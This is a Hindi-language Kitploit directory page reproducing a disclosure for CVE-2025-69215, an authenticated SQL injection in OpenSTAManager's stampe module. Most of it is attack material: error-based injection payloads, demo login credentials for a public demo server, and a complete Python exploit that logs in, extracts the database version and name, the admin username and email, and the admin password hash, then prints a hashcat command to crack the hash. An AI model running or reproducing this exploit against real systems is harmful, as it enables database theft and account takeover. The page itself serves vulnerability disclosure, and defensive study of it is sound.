Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-69215 — CVE-2025-69215 - OpenSTAManager में स्टैम्पे मॉड्यूल में SQL इंजेक्शन है | Kitploit
उपकरण/GitHubGitHub/lukasz-rybak/cve-2025-69215
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाडेटाबेस सुरक्षा
GitHublukasz-rybak/cve-2025-69215

CVE-2025-69215

CVE-2025-69215 - OpenSTAManager में स्टैम्पे मॉड्यूल में SQL इंजेक्शन है

रिपॉजिटरी देखें
25 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-69215: OpenSTAManager में Stampe मॉड्यूल में SQL इंजेक्शन

अवलोकन

फ़ील्डविवरण
CVE आईडीCVE-2025-69215
गंभीरताउच्च
परामर्शपरामर्श देखें
खोजकर्ताLukasz Rybak

प्रभावित उत्पाद

  • devcode-it/openstamanager (संस्करण: <= 2.9.8)

CWE वर्गीकरण

  • CWE-89: SQL कमांड में प्रयुक्त विशेष तत्वों का अनुचित निराकरण ('SQL इंजेक्शन')

विवरण

भेद्यता विवरण

स्थान

  • फ़ाइल: modules/stampe/actions.php
  • पंक्ति: 26
  • असुरक्षित कोड:
root@kitploit:~
case 'update':
    if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
        $dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));
        // ↑ Direct concatenation without prepare() sanitization
    }

मूल कारण

POST डेटा से module पैरामीटर को prepare() सैनिटाइज़ेशन फ़ंक्शन का उपयोग किए बिना सीधे SQL UPDATE क्वेरी में जोड़ा जाता है। जबकि predefined पैरामीटर को intval() से मान्य किया जाता है, module पैरामीटर पर केवल !empty() जांच होती है, जो SQL इंजेक्शन को रोकती नहीं है।

असुरक्षित पैटर्न:

root@kitploit:~
// लाइन 25: intval() predefined को सुरक्षित करता है, लेकिन module सैनिटाइज़ नहीं है!
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
    // लाइन 26: सीधे जोड़ - असुरक्षित
    $dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));
}

शोषण

असुरक्षित एंडपॉइंट

root@kitploit:~
POST /modules/stampe/actions.php

आवश्यक पैरामीटर

root@kitploit:~
op=update
id_record=1
predefined=1 (intval() के बाद गैर-शून्य होना चाहिए)
module=[इंजेक्शन_पेलोड]
title=Test
filename=test.pdf

प्रमाणीकरण आवश्यकता

  • मान्य प्रमाणित सत्र की आवश्यकता है (Stampe मॉड्यूल तक पहुँच रखने वाला कोई भी उपयोगकर्ता)
  • सत्यापित: "Tecnici" समूह पहुँच वाले उपयोगकर्ता शोषण कर सकते हैं (केवल व्यवस्थापक-विशेष नहीं!)
  • PoC: https://demo.osmbusiness.it पर डेमो क्रेडेंशियल्स tecnico/tecnicotecnico के साथ

शोषण का प्रकार

MySQL के EXTRACTVALUE/UPDATEXML/GTID_SUBSET फ़ंक्शन का उपयोग करके त्रुटि-आधारित SQL इंजेक्शन

प्रमाण की अवधारणा

विधि 1: EXTRACTVALUE (MySQL 5.1+)

root@kitploit:~
POST /modules/stampe/actions.php
Content-Type: application/x-www-form-urlencoded

op=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf

परिणाम:

चित्र

निकाला गया डेटा: MySQL संस्करण 8.3.0


विधि 2: GTID_SUBSET (MySQL 5.6+)

root@kitploit:~
module=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)

परिणाम:

चित्र

निकाला गया डेटा: डेटाबेस नाम openstamanager


विधि 3: UPDATEXML (MySQL 5.1+)

root@kitploit:~
module=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)

परिणाम:

चित्र

निकाला गया डेटा: डेटाबेस उपयोगकर्ता [email protected]


स्वचालित शोषण

पूर्ण शोषण स्क्रिप्ट: exploit_stampe_sqli.py

root@kitploit:~
#!/usr/bin/env python3
"""
SQL Injection Exploit - OpenSTAManager modules/stampe/actions.php

Usage:
    python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico
    python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local
"""

import requests
import re
import argparse
import sys
from html import unescape
from urllib.parse import urljoin

class StampeSQLiExploit:
    def __init__(self, base_url, username, password, verbose=False):
        self.base_url = base_url.rstrip('/')
        self.username = username
        self.password = password
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'
        })

    def login(self):
        """Authenticate with username and password"""
        login_url = urljoin(self.base_url, '/index.php')

        if self.verbose:
            print(f"[DEBUG] Attempting login to {login_url}")
            print(f"[DEBUG] Username: {self.username}")

        # First, get the login page to establish session
        resp = self.session.get(login_url)
        if self.verbose:
            print(f"[DEBUG] Initial GET status: {resp.status_code}")

        # Send login credentials with op=login parameter (required!)
        login_data = {
            'username': self.username,
            'password': self.password,
            'op': 'login',  # Required for OpenSTAManager
        }

        resp = self.session.post(login_url, data=login_data, allow_redirects=True)

        if self.verbose:
            print(f"[DEBUG] Login POST status: {resp.status_code}")
            print(f"[DEBUG] Cookies: {self.session.cookies.get_dict()}")

        # Check if login was successful
        if 'PHPSESSID' not in self.session.cookies:
            print("[-] Login failed: No session cookie received")
            return False

        # Check if we're redirected to dashboard or still on login page
        if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():
            print("[-] Login failed: Still on login page")
            if self.verbose:
                print(f"[DEBUG] Current URL: {resp.url}")
            return False

        print(f"[+] Successfully logged in as '{self.username}'")
        print(f"[+] Session: {self.session.cookies.get('PHPSESSID')}")
        return True

    def inject(self, sql_query):
        """Execute SQL injection payload"""
        # Use UPDATEXML instead of EXTRACTVALUE (works better on demo)
        payload = f"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)"

        target_url = urljoin(self.base_url, '/modules/stampe/actions.php')

        if self.verbose:
            print(f"[DEBUG] Target: {target_url}")
            print(f"[DEBUG] Payload: {payload}")

        response = self.session.post(
            target_url,
            data={
                "op": "update",
                "id_record": "1",
                "predefined": "1",
                "module": payload,
                "title": "Test",
                "filename": "test.pdf"
            }
        )

        if self.verbose:
            print(f"[DEBUG] Response status: {response.status_code}")
            print(f"[DEBUG] Response length: {len(response.text)}")

        # Unescape HTML entities first
        response_text = unescape(response.text)

        # Pattern 1: XPATH syntax error with HTML entities or quotes
        # Matches: XPATH syntax error: '~data~' or &#039;~data~&#039;
        xpath_match = re.search(r"XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE)
        if xpath_match:
            result = xpath_match.group(1)
            if self.verbose:
                print(f"[DEBUG] Extracted via XPATH pattern: {result}")
            return result

        # Pattern 2: Look in HTML comments (demo puts errors in comments)
        # <!--...XPATH syntax error: '~data~'...-->
        comment_match = re.search(r"<!--.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?.*?-->", response_text, re.DOTALL | re.IGNORECASE)
        if comment_match:
            result = comment_match.group(1)
            if self.verbose:
                print(f"[DEBUG] Extracted from HTML comment: {result}")
            return result

        # Pattern 3: <code> tags
        codes = re.findall(r'<code>(.*?)</code>', response_text, re.DOTALL)
        for code in codes:
            clean = code.strip()
            if 'XPATH syntax error' in clean or 'SQLSTATE' in clean:
                match = re.search(r"~([^~]+)~", clean)
                if match:
                    result = match.group(1)
                    if self.verbose:
                        print(f"[DEBUG] Extracted from <code>: {result}")
                    return result

        # Pattern 4: PDOException error format (as shown in user's example)
        # PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~data~'
        pdo_match = re.search(r"PDOException:.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE | re.DOTALL)
        if pdo_match:
            result = pdo_match.group(1)
            if self.verbose:
                print(f"[DEBUG] Extracted from PDOException: {result}")
            return result

        # Pattern 5: Generic ~...~ markers (last resort)
        markers = re.findall(r'~([^~]{1,100})~', response_text)
        if markers:
            if self.verbose:
                print(f"[DEBUG] Found generic markers: {markers}")
            # Filter out HTML/CSS junk
            for marker in markers:
                if marker and len(marker) > 2:
                    # Skip common HTML patterns
                    if not any(x in marker.lower() for x in ['button', 'icon', 'fa-', 'class', 'div', 'span', '<', '>']):
                        if self.verbose:
                            print(f"[DEBUG] Using marker: {marker}")
                        return marker

        if self.verbose:
            print("[DEBUG] No data extracted from response")
            # Save response for debugging
            with open('/tmp/stampe_response_debug.html', 'w') as f:
                f.write(response.text)
            print("[DEBUG] Response saved to /tmp/stampe_response_debug.html")

        return None

    def dump_info(self):
        """Dump database information"""
        queries = [
            ("Database Version", "VERSION()"),
            ("Database Name", "DATABASE()"),
            ("Current User", "USER()"),
            ("Admin Username", "SELECT username FROM zz_users WHERE idgruppo=1 LIMIT 1"),
            ("Admin Email", "SELECT email FROM zz_users WHERE idgruppo=1 LIMIT 1"),
            ("Admin Password Hash (1-30)", "SELECT SUBSTRING(password,1,30) FROM zz_users WHERE idgruppo=1 LIMIT 1"),
            ("Admin Password Hash (31-60)", "SELECT SUBSTRING(password,31,30) FROM zz_users WHERE idgruppo=1 LIMIT 1"),
            ("Total Users", "SELECT COUNT(*) FROM zz_users"),
            ("First Table", "SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1"),
        ]

        print("="*70)
        print(" EXPLOITING SQL INJECTION - DATA EXTRACTION")
        print("="*70)
        print()

        results = {}
        for desc, query in queries:
            print(f"[*] Extracting: {desc}")
            print(f"    Query: {query}")
            result = self.inject(query)
            if result:
                print(f"    ✓ Result: {result}")
                results[desc] = result
            else:
                print(f"    ✗ Failed to extract")
            print()

        return results

def main():
    parser = argparse.ArgumentParser(
        description='OpenSTAManager Stampe Module SQL Injection Exploit',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog='''
Examples:
  # Exploit demo.osmbusiness.it with tecnico user
  python3 %(prog)s -u tecnico -p tecnicotecnico

  # Exploit demo with admin credentials
  python3 %(prog)s -u admin -p admin123

  # Exploit custom installation with verbose output
  python3 %(prog)s -u tecnico -p pass123 --url https://erp.company.com -v
        '''
    )

    parser.add_argument('-u', '--username', required=True,
                        help='Username for authentication')
    parser.add_argument('-p', '--password', required=True,
                        help='Password for authentication')
    parser.add_argument('--url', default='https://demo.osmbusiness.it',
                        help='Base URL of OpenSTAManager (default: https://demo.osmbusiness.it)')
    parser.add_argument('-v', '--verbose', action='store_true',
                        help='Enable verbose output for debugging')

    args = parser.parse_args()

    print("╔" + "="*68 + "╗")
    print("║  SQL Injection Exploit - OpenSTAManager Stampe Module          ║")
    print("║  CVE-PENDING | Authenticated Error-Based SQLi                 ║")
    print("╚" + "="*68 + "╝")
    print()
    print(f"[*] Target: {args.url}")
    print(f"[*] Username: {args.username}")
    print()

    exploit = StampeSQLiExploit(args.url, args.username, args.password, args.verbose)

    # Login first
    if not exploit.login():
        print("\n[-] Authentication failed. Cannot proceed with exploitation.")
        print("[!] Please check:")
        print("    1. Are the credentials correct?")
        print("    2. Is the target URL accessible?")
        print("    3. Is the user account active?")
        sys.exit(1)

    print()

    # Extract data
    results = exploit.dump_info()

    # Summary
    print("="*70)
    print(" EXTRACTION SUMMARY")
    print("="*70)
    print()

    if results:
        for key, value in results.items():
            print(f"  {key:.<40} {value}")

        # If we got admin password hash, combine it
        if "Admin Password Hash (1-30)" in results and "Admin Password Hash (31-60)" in results:
            full_hash = results["Admin Password Hash (1-30)"] + results["Admin Password Hash (31-60)"]
            print()
            print("  " + "="*66)
            print(f"  Full Admin Password Hash: {full_hash}")
            print("  " + "="*66)
            print()
            print("  [!] Crack with hashcat:")
            print(f"      hashcat -m 3200 '{full_hash}' wordlist.txt")
    else:
        print("  ✗ No data extracted")
        if not args.verbose:
            print("\n  [!] Try running with -v flag for debugging information")

if __name__ == "__main__":
    main()

श्रेय

Łukasz Rybak द्वारा रिपोर्ट

संदर्भ

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qx9p-w3vj-q24q
  • https://nvd.nist.gov/vuln/detail/CVE-2025-69215
  • https://github.com/advisories/GHSA-qx9p-w3vj-q24q

अस्वीकरण

इस CVE को समन्वित भेद्यता प्रकटीकरण प्रथाओं का पालन करते हुए जिम्मेदारी से प्रकट किया गया था। यहाँ प्रदान की गई जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।

टूल डाउनलोड करें